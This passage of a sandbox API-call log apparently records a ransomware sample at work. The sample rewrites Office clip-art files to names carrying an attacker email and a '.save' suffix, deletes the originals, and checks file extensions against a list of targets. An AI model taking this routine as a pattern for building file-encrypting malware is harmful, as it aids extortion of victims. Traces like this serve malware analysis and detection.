lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.482] WriteFile (in: hFile=0x45c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.482] SetEndOfFile (hFile=0x45c) returned 1 [0195.482] CloseHandle (hObject=0x45c) returned 1 [0195.482] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.482] SetEndOfFile (hFile=0x494) returned 1 [0195.486] CloseHandle (hObject=0x494) returned 1 [0195.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.488] lstrlenW (lpString=".doc") returned 4 [0195.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.488] lstrlenW (lpString=".docx") returned 5 [0195.488] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0195.488] lstrlenW (lpString=".pdf") returned 4 [0195.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.488] lstrlenW (lpString=".xls") returned 4 [0195.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.488] lstrlenW (lpString=".xlsx") returned 5 [0195.488] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0195.488] lstrlenW (lpString=".ppt") returned 4 [0195.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.489] lstrlenW (lpString=".zip") returned 4 [0195.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.489] lstrlenW (lpString=".rar") returned 4 [0195.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".bz2") returned 4 [0195.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".7z") returned 3 [0195.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.489] lstrlenW (lpString=".dbf") returned 4 [0195.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.489] lstrlenW (lpString=".1cd") returned 4 [0195.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0195.489] lstrlenW (lpString=".jpg") returned 4 [0195.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.491] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.491] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.493] GetLastError () returned 0x0 [0195.493] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x48be, lpOverlapped=0x0) returned 1 [0195.495] WriteFile (in: hFile=0x45c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x48c0, lpOverlapped=0x0) returned 1 [0195.497] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.497] WriteFile (in: hFile=0x45c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.497] SetEndOfFile (hFile=0x45c) returned 1 [0195.497] CloseHandle (hObject=0x45c) returned 1 [0195.497] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.497] SetEndOfFile (hFile=0x494) returned 1 [0195.501] CloseHandle (hObject=0x494) returned 1 [0195.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0195.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.504] lstrlenW (lpString=".doc") returned 4 [0195.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.504] lstrlenW (lpString=".docx") returned 5 [0195.504] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.504] lstrlenW (lpString=".pdf") returned 4 [0195.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.504] lstrlenW (lpString=".xls") returned 4 [0195.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.504] lstrlenW (lpString=".xlsx") returned 5 [0195.504] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.504] lstrlenW (lpString=".ppt") returned 4 [0195.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.504] lstrlenW (lpString=".zip") returned 4 [0195.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.504] lstrlenW (lpString=".rar") returned 4 [0195.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.504] lstrlenW (lpString=".bz2") returned 4 [0195.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.505] lstrlenW (lpString=".7z") returned 3 [0195.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.505] lstrlenW (lpString=".dbf") returned 4 [0195.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.505] lstrlenW (lpString=".1cd") returned 4 [0195.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0195.505] lstrlenW (lpString=".jpg") returned 4 [0195.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.506] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.739] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0197.045] GetLastError () returned 0x0 [0197.045] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xe60, lpOverlapped=0x0) returned 1 [0197.050] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe70, lpOverlapped=0x0) returned 1 [0197.052] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.052] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.052] SetEndOfFile (hFile=0x538) returned 1 [0197.052] CloseHandle (hObject=0x538) returned 1 [0197.052] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.052] SetEndOfFile (hFile=0x494) returned 1 [0197.056] CloseHandle (hObject=0x494) returned 1 [0197.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0197.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.060] lstrlenW (lpString=".doc") returned 4 [0197.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.060] lstrlenW (lpString=".docx") returned 5 [0197.060] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.060] lstrlenW (lpString=".pdf") returned 4 [0197.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.060] lstrlenW (lpString=".xls") returned 4 [0197.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.060] lstrlenW (lpString=".xlsx") returned 5 [0197.060] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.060] lstrlenW (lpString=".ppt") returned 4 [0197.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.060] lstrlenW (lpString=".zip") returned 4 [0197.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.061] lstrlenW (lpString=".rar") returned 4 [0197.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.061] lstrlenW (lpString=".bz2") returned 4 [0197.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.061] lstrlenW (lpString=".7z") returned 3 [0197.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.061] lstrlenW (lpString=".dbf") returned 4 [0197.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.061] lstrlenW (lpString=".1cd") returned 4 [0197.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0197.061] lstrlenW (lpString=".jpg") returned 4 [0197.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.063] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.063] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0197.064] GetLastError () returned 0x0 [0197.065] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x5cae, lpOverlapped=0x0) returned 1 [0197.067] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5cb0, lpOverlapped=0x0) returned 1 [0197.069] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.069] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.070] SetEndOfFile (hFile=0x538) returned 1 [0197.070] CloseHandle (hObject=0x538) returned 1 [0197.070] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.070] SetEndOfFile (hFile=0x494) returned 1 [0197.074] CloseHandle (hObject=0x494) returned 1 [0197.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf")) returned 1 [0197.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.076] lstrlenW (lpString=".doc") returned 4 [0197.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.076] lstrlenW (lpString=".docx") returned 5 [0197.076] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.076] lstrlenW (lpString=".pdf") returned 4 [0197.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.076] lstrlenW (lpString=".xls") returned 4 [0197.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.076] lstrlenW (lpString=".xlsx") returned 5 [0197.076] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.076] lstrlenW (lpString=".ppt") returned 4 [0197.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.076] lstrlenW (lpString=".zip") returned 4 [0197.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.076] lstrlenW (lpString=".rar") returned 4 [0197.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.076] lstrlenW (lpString=".bz2") returned 4 [0197.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.077] lstrlenW (lpString=".7z") returned 3 [0197.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.077] lstrlenW (lpString=".dbf") returned 4 [0197.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.077] lstrlenW (lpString=".1cd") returned 4 [0197.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0197.077] lstrlenW (lpString=".jpg") returned 4 [0197.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.078] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.078] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0197.080] GetLastError () returned 0x0 [0197.080] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x8860, lpOverlapped=0x0) returned 1 [0197.264] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x8870, lpOverlapped=0x0) returned 1 [0197.266] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x538, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.267] SetEndOfFile (hFile=0x538) returned 1 [0197.267] CloseHandle (hObject=0x538) returned 1 [0197.351] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.351] SetEndOfFile (hFile=0x494) returned 1 [0197.526] CloseHandle (hObject=0x494) returned 1 [0197.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf")) returned 1 [0197.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.529] lstrlenW (lpString=".doc") returned 4 [0197.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString=".docx") returned 5 [0197.530] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0197.530] lstrlenW (lpString=".pdf") returned 4 [0197.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString=".xls") returned 4 [0197.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.530] lstrlenW (lpString=".xlsx") returned 5 [0197.530] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0197.530] lstrlenW (lpString=".ppt") returned 4 [0197.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.530] lstrlenW (lpString=".zip") returned 4 [0197.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.530] lstrlenW (lpString=".rar") returned 4 [0197.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString=".bz2") returned 4 [0197.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString=".7z") returned 3 [0197.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.530] lstrlenW (lpString=".dbf") returned 4 [0197.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.530] lstrlenW (lpString=".1cd") returned 4 [0197.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0197.531] lstrlenW (lpString=".jpg") returned 4 [0197.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.532] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.532] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0197.533] GetLastError () returned 0x0 [0197.533] ReadFile (in: hFile=0x524, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xa69e, lpOverlapped=0x0) returned 1 [0197.543] WriteFile (in: hFile=0x494, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xa6a0, lpOverlapped=0x0) returned 1 [0197.546] ReadFile (in: hFile=0x524, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.546] WriteFile (in: hFile=0x494, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.546] SetEndOfFile (hFile=0x494) returned 1 [0197.546] CloseHandle (hObject=0x494) returned 1 [0197.546] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.546] SetEndOfFile (hFile=0x524) returned 1 [0197.550] CloseHandle (hObject=0x524) returned 1 [0197.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf")) returned 1 [0198.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0198.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0198.455] lstrlenW (lpString=".doc") returned 4 [0198.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.455] lstrlenW (lpString=".docx") returned 5 [0198.455] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.455] lstrlenW (lpString=".pdf") returned 4 [0198.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.455] lstrlenW (lpString=".xls") returned 4 [0198.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.455] lstrlenW (lpString=".xlsx") returned 5 [0198.455] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.455] lstrlenW (lpString=".ppt") returned 4 [0198.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 